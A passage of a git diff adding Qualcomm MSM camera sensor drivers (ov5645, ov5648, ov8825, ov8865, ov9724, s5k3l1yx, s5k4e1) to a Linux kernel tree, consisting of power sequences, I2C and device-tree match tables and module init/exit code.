msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = stop_setting->reg_setting; + stop_setting->reg_setting = kzalloc(stop_setting->size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!stop_setting->reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(stop_setting->reg_setting, + (void *)reg_setting, stop_setting->size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(stop_setting->reg_setting); + stop_setting->reg_setting = NULL; + stop_setting->size = 0; + rc = -EFAULT; + break; + } + break; + } + case CFG_SET_STREAM_TYPE: { + enum msm_camera_stream_type_t stream_type = MSM_CAMERA_STREAM_INVALID; + if (copy_from_user(&stream_type, (void *)cdata->cfg.setting, + sizeof(enum msm_camera_stream_type_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + s_ctrl->camera_stream_type = stream_type; + break; + } + case CFG_SET_SATURATION: + break; + case CFG_SET_CONTRAST: + break; + case CFG_SET_SHARPNESS: + break; + case CFG_SET_AUTOFOCUS: + /* TO-DO: set the Auto Focus */ + pr_debug("%s: Setting Auto Focus", __func__); + break; + case CFG_CANCEL_AUTOFOCUS: + /* TO-DO: Cancel the Auto Focus */ + pr_debug("%s: Cancelling Auto Focus", __func__); + break; + case CFG_SET_ISO: + break; + case CFG_SET_EXPOSURE_COMPENSATION: + break; + case CFG_SET_EFFECT: + break; + case CFG_SET_ANTIBANDING: + break; + case CFG_SET_BESTSHOT_MODE: + break; + case CFG_SET_WHITE_BALANCE: + break; + default: + rc = -EFAULT; + break; + } + + mutex_unlock(s_ctrl->msm_sensor_mutex); + + return rc; +} + +static struct msm_sensor_fn_t ov5645_sensor_func_tbl = { + .sensor_config = ov5645_sensor_config, + .sensor_power_up = msm_sensor_power_up, + .sensor_power_down = msm_sensor_power_down, + .sensor_match_id = msm_sensor_match_id, +}; + +static struct msm_sensor_ctrl_t ov5645_s_ctrl = { + .sensor_i2c_client = &ov5645_sensor_i2c_client, + .power_setting_array.power_setting = ov5645_power_setting, + .power_setting_array.size = ARRAY_SIZE(ov5645_power_setting), + .msm_sensor_mutex = &ov5645_mut, + .sensor_v4l2_subdev_info = ov5645_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov5645_subdev_info), + .func_tbl = &ov5645_sensor_func_tbl, +}; + +module_init(ov5645_init_module); +module_exit(ov5645_exit_module); +MODULE_DESCRIPTION("Aptina 1.26MP YUV sensor driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5648.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5648.c new file mode 100644 index 0000000000000..99224684a1313 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5648.c @@ -0,0 +1,179 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" + +#define OV5648_SENSOR_NAME "ov5648" +DEFINE_MSM_MUTEX(ov5648_mut); + +static struct msm_sensor_ctrl_t ov5648_s_ctrl; + +static struct msm_sensor_power_setting ov5648_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_VDIG, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_VDIG, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 10, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 10, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 10, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info ov5648_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id ov5648_i2c_id[] = { + {OV5648_SENSOR_NAME, + (kernel_ulong_t)&ov5648_s_ctrl}, + { } +}; + +static int32_t msm_ov5648_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &ov5648_s_ctrl); +} + +static struct i2c_driver ov5648_i2c_driver = { + .id_table = ov5648_i2c_id, + .probe = msm_ov5648_i2c_probe, + .driver = { + .name = OV5648_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client ov5648_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static struct msm_sensor_ctrl_t ov5648_s_ctrl = { + .sensor_i2c_client = &ov5648_sensor_i2c_client, + .power_setting_array.power_setting = ov5648_power_setting, + .power_setting_array.size = + ARRAY_SIZE(ov5648_power_setting), + .msm_sensor_mutex = &ov5648_mut, + .sensor_v4l2_subdev_info = ov5648_subdev_info, + .sensor_v4l2_subdev_info_size = + ARRAY_SIZE(ov5648_subdev_info), +}; + +static const struct of_device_id ov5648_dt_match[] = { + { + .compatible = "ovti,ov5648", + .data = &ov5648_s_ctrl + }, + {} +}; + +MODULE_DEVICE_TABLE(of, ov5648_dt_match); + +static struct platform_driver ov5648_platform_driver = { + .driver = { + .name = "ovti,ov5648", + .owner = THIS_MODULE, + .of_match_table = ov5648_dt_match, + }, +}; + +static int32_t ov5648_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + + match = of_match_device(ov5648_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init ov5648_init_module(void) +{ + int32_t rc = 0; + + rc = platform_driver_probe(&ov5648_platform_driver, + ov5648_platform_probe); + if (!rc) + return rc; + return i2c_add_driver(&ov5648_i2c_driver); +} + +static void __exit ov5648_exit_module(void) +{ + if (ov5648_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&ov5648_s_ctrl); + platform_driver_unregister(&ov5648_platform_driver); + } else + i2c_del_driver(&ov5648_i2c_driver); + return; +} + +module_init(ov5648_init_module); +module_exit(ov5648_exit_module); +MODULE_DESCRIPTION("ov5648"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8825.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8825.c new file mode 100644 index 0000000000000..e17c94e85b503 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8825.c @@ -0,0 +1,173 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define OV8825_SENSOR_NAME "ov8825" +DEFINE_MSM_MUTEX(ov8825_mut); + +static struct msm_sensor_ctrl_t ov8825_s_ctrl; + +static struct msm_sensor_power_setting ov8825_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VAF, + .config_val = 0, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 10, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 10, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info ov8825_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id ov8825_i2c_id[] = { + {OV8825_SENSOR_NAME, (kernel_ulong_t)&ov8825_s_ctrl}, + { } +}; + +static int32_t msm_ov8825_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &ov8825_s_ctrl); +} + +static struct i2c_driver ov8825_i2c_driver = { + .id_table = ov8825_i2c_id, + .probe = msm_ov8825_i2c_probe, + .driver = { + .name = OV8825_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client ov8825_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id ov8825_dt_match[] = { + {.compatible = "qcom,ov8825", .data = &ov8825_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, ov8825_dt_match); + +static struct platform_driver ov8825_platform_driver = { + .driver = { + .name = "qcom,ov8825", + .owner = THIS_MODULE, + .of_match_table = ov8825_dt_match, + }, +}; + +static int32_t ov8825_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(ov8825_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init ov8825_init_module(void) +{ + int32_t rc = 0; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&ov8825_platform_driver, + ov8825_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&ov8825_i2c_driver); +} + +static void __exit ov8825_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (ov8825_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&ov8825_s_ctrl); + platform_driver_unregister(&ov8825_platform_driver); + } else + i2c_del_driver(&ov8825_i2c_driver); + return; +} + +static struct msm_sensor_ctrl_t ov8825_s_ctrl = { + .sensor_i2c_client = &ov8825_sensor_i2c_client, + .power_setting_array.power_setting = ov8825_power_setting, + .power_setting_array.size = ARRAY_SIZE(ov8825_power_setting), + .msm_sensor_mutex = &ov8825_mut, + .sensor_v4l2_subdev_info = ov8825_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov8825_subdev_info), +}; + +module_init(ov8825_init_module); +module_exit(ov8825_exit_module); +MODULE_DESCRIPTION("ov8825"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8865.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8865.c new file mode 100644 index 0000000000000..6d788f592b174 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8865.c @@ -0,0 +1,185 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define OV8865_SENSOR_NAME "ov8865" +DEFINE_MSM_MUTEX(ov8865_mut); + +static struct msm_sensor_ctrl_t ov8865_s_ctrl; + +static struct msm_sensor_power_setting ov8865_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VAF, + .config_val = 0, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_AF_PWDM, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 10, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_AF_PWDM, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 10, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info ov8865_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id ov8865_i2c_id[] = { + {OV8865_SENSOR_NAME, (kernel_ulong_t)&ov8865_s_ctrl}, + { } +}; + +static int32_t msm_ov8865_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &ov8865_s_ctrl); +} + +static struct i2c_driver ov8865_i2c_driver = { + .id_table = ov8865_i2c_id, + .probe = msm_ov8865_i2c_probe, + .driver = { + .name = OV8865_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client ov8865_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id ov8865_dt_match[] = { + {.compatible = "ovti,ov8865", .data = &ov8865_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, ov8865_dt_match); + +static struct platform_driver ov8865_platform_driver = { + .driver = { + .name = "ovti,ov8865", + .owner = THIS_MODULE, + .of_match_table = ov8865_dt_match, + }, +}; + +static int32_t ov8865_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(ov8865_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init ov8865_init_module(void) +{ + int32_t rc = 0; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&ov8865_platform_driver, + ov8865_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&ov8865_i2c_driver); +} + +static void __exit ov8865_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (ov8865_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&ov8865_s_ctrl); + platform_driver_unregister(&ov8865_platform_driver); + } else + i2c_del_driver(&ov8865_i2c_driver); + return; +} + +static struct msm_sensor_ctrl_t ov8865_s_ctrl = { + .sensor_i2c_client = &ov8865_sensor_i2c_client, + .power_setting_array.power_setting = ov8865_power_setting, + .power_setting_array.size = ARRAY_SIZE(ov8865_power_setting), + .msm_sensor_mutex = &ov8865_mut, + .sensor_v4l2_subdev_info = ov8865_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov8865_subdev_info), +}; + +module_init(ov8865_init_module); +module_exit(ov8865_exit_module); +MODULE_DESCRIPTION("ov8865"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov9724.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov9724.c new file mode 100644 index 0000000000000..99bf03ab1aa03 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov9724.c @@ -0,0 +1,167 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" + +#define OV9724_SENSOR_NAME "ov9724" +DEFINE_MSM_MUTEX(ov9724_mut); + +static struct msm_sensor_ctrl_t ov9724_s_ctrl; + +static struct msm_sensor_power_setting ov9724_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 10, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 10, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info ov9724_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static int32_t msm_ov9724_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &ov9724_s_ctrl); +} + +static const struct i2c_device_id ov9724_i2c_id[] = { + {OV9724_SENSOR_NAME, (kernel_ulong_t)&ov9724_s_ctrl}, + { } +}; + +static struct i2c_driver ov9724_i2c_driver = { + .id_table = ov9724_i2c_id, + .probe = msm_ov9724_i2c_probe, + .driver = { + .name = OV9724_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client ov9724_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static struct msm_sensor_ctrl_t ov9724_s_ctrl = { + .sensor_i2c_client = &ov9724_sensor_i2c_client, + .power_setting_array.power_setting = ov9724_power_setting, + .power_setting_array.size = ARRAY_SIZE(ov9724_power_setting), + .msm_sensor_mutex = &ov9724_mut, + .sensor_v4l2_subdev_info = ov9724_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov9724_subdev_info), +}; + +static const struct of_device_id ov9724_dt_match[] = { + {.compatible = "qcom,ov9724", .data = &ov9724_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, ov9724_dt_match); + +static struct platform_driver ov9724_platform_driver = { + .driver = { + .name = "qcom,ov9724", + .owner = THIS_MODULE, + .of_match_table = ov9724_dt_match, + }, +}; + +static int32_t ov9724_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + + match = of_match_device(ov9724_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init ov9724_init_module(void) +{ + int32_t rc = 0; + + rc = platform_driver_probe(&ov9724_platform_driver, + ov9724_platform_probe); + if (!rc) + return rc; + return i2c_add_driver(&ov9724_i2c_driver); +} + +static void __exit ov9724_exit_module(void) +{ + if (ov9724_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&ov9724_s_ctrl); + platform_driver_unregister(&ov9724_platform_driver); + } else + i2c_del_driver(&ov9724_i2c_driver); + return; +} + +module_init(ov9724_init_module); +module_exit(ov9724_exit_module); +MODULE_DESCRIPTION("ov9724"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k3l1yx.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k3l1yx.c new file mode 100644 index 0000000000000..225e81d94cdb8 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k3l1yx.c @@ -0,0 +1,173 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define S5K3L1YX_SENSOR_NAME "s5k3l1yx" +DEFINE_MSM_MUTEX(s5k3l1yx_mut); + +static struct msm_sensor_ctrl_t s5k3l1yx_s_ctrl; + +static struct msm_sensor_power_setting s5k3l1yx_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VAF, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info s5k3l1yx_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id s5k3l1yx_i2c_id[] = { + {S5K3L1YX_SENSOR_NAME, (kernel_ulong_t)&s5k3l1yx_s_ctrl}, + { } +}; + +static int32_t msm_s5k3l1yx_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &s5k3l1yx_s_ctrl); +} + +static struct i2c_driver s5k3l1yx_i2c_driver = { + .id_table = s5k3l1yx_i2c_id, + .probe = msm_s5k3l1yx_i2c_probe, + .driver = { + .name = S5K3L1YX_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client s5k3l1yx_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id s5k3l1yx_dt_match[] = { + {.compatible = "qcom,s5k3l1yx", .data = &s5k3l1yx_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, s5k3l1yx_dt_match); + +static struct platform_driver s5k3l1yx_platform_driver = { + .driver = { + .name = "qcom,s5k3l1yx", + .owner = THIS_MODULE, + .of_match_table = s5k3l1yx_dt_match, + }, +}; + +static int32_t s5k3l1yx_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(s5k3l1yx_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init s5k3l1yx_init_module(void) +{ + int32_t rc = 0; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&s5k3l1yx_platform_driver, + s5k3l1yx_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&s5k3l1yx_i2c_driver); +} + +static void __exit s5k3l1yx_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (s5k3l1yx_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&s5k3l1yx_s_ctrl); + platform_driver_unregister(&s5k3l1yx_platform_driver); + } else + i2c_del_driver(&s5k3l1yx_i2c_driver); + return; +} + +static struct msm_sensor_ctrl_t s5k3l1yx_s_ctrl = { + .sensor_i2c_client = &s5k3l1yx_sensor_i2c_client, + .power_setting_array.power_setting = s5k3l1yx_power_setting, + .power_setting_array.size = ARRAY_SIZE(s5k3l1yx_power_setting), + .msm_sensor_mutex = &s5k3l1yx_mut, + .sensor_v4l2_subdev_info = s5k3l1yx_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(s5k3l1yx_subdev_info), +}; + +module_init(s5k3l1yx_init_module); +module_exit(s5k3l1yx_exit_module); +MODULE_DESCRIPTION("s5k3l1yx"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k4e1.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k4e1.c new file mode 100644 index 0000000000000..5c70df2dec56e --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k4e1.c @@ -0,0 +1,167 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define s5k4e1_SENSOR_NAME "s5k4e1" +DEFINE_MSM_MUTEX(s5k4e1_mut); + +static struct msm_sensor_ctrl_t s5k4e1_s_ctrl; + +static struct msm_sensor_power_setting s5k4e1_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 1, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 1, + }, +}; + +static struct v4l2_subdev_info s5k4e1_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SGRBG10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id s5k4e1_i2c_id[] = { + {s5k4e1_SENSOR_NAME, (kernel_ulong_t)&s5k4e1_s_ctrl}, + { } +}; + +static int32_t msm_s5k4e1_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &s5k4e1_s_ctrl); +} + +static struct i2c_driver s5k4e1_i2c_driver = { + .id_table = s5k4e1_i2c_id, + .probe = msm_s5k4e1_i2c_probe, + 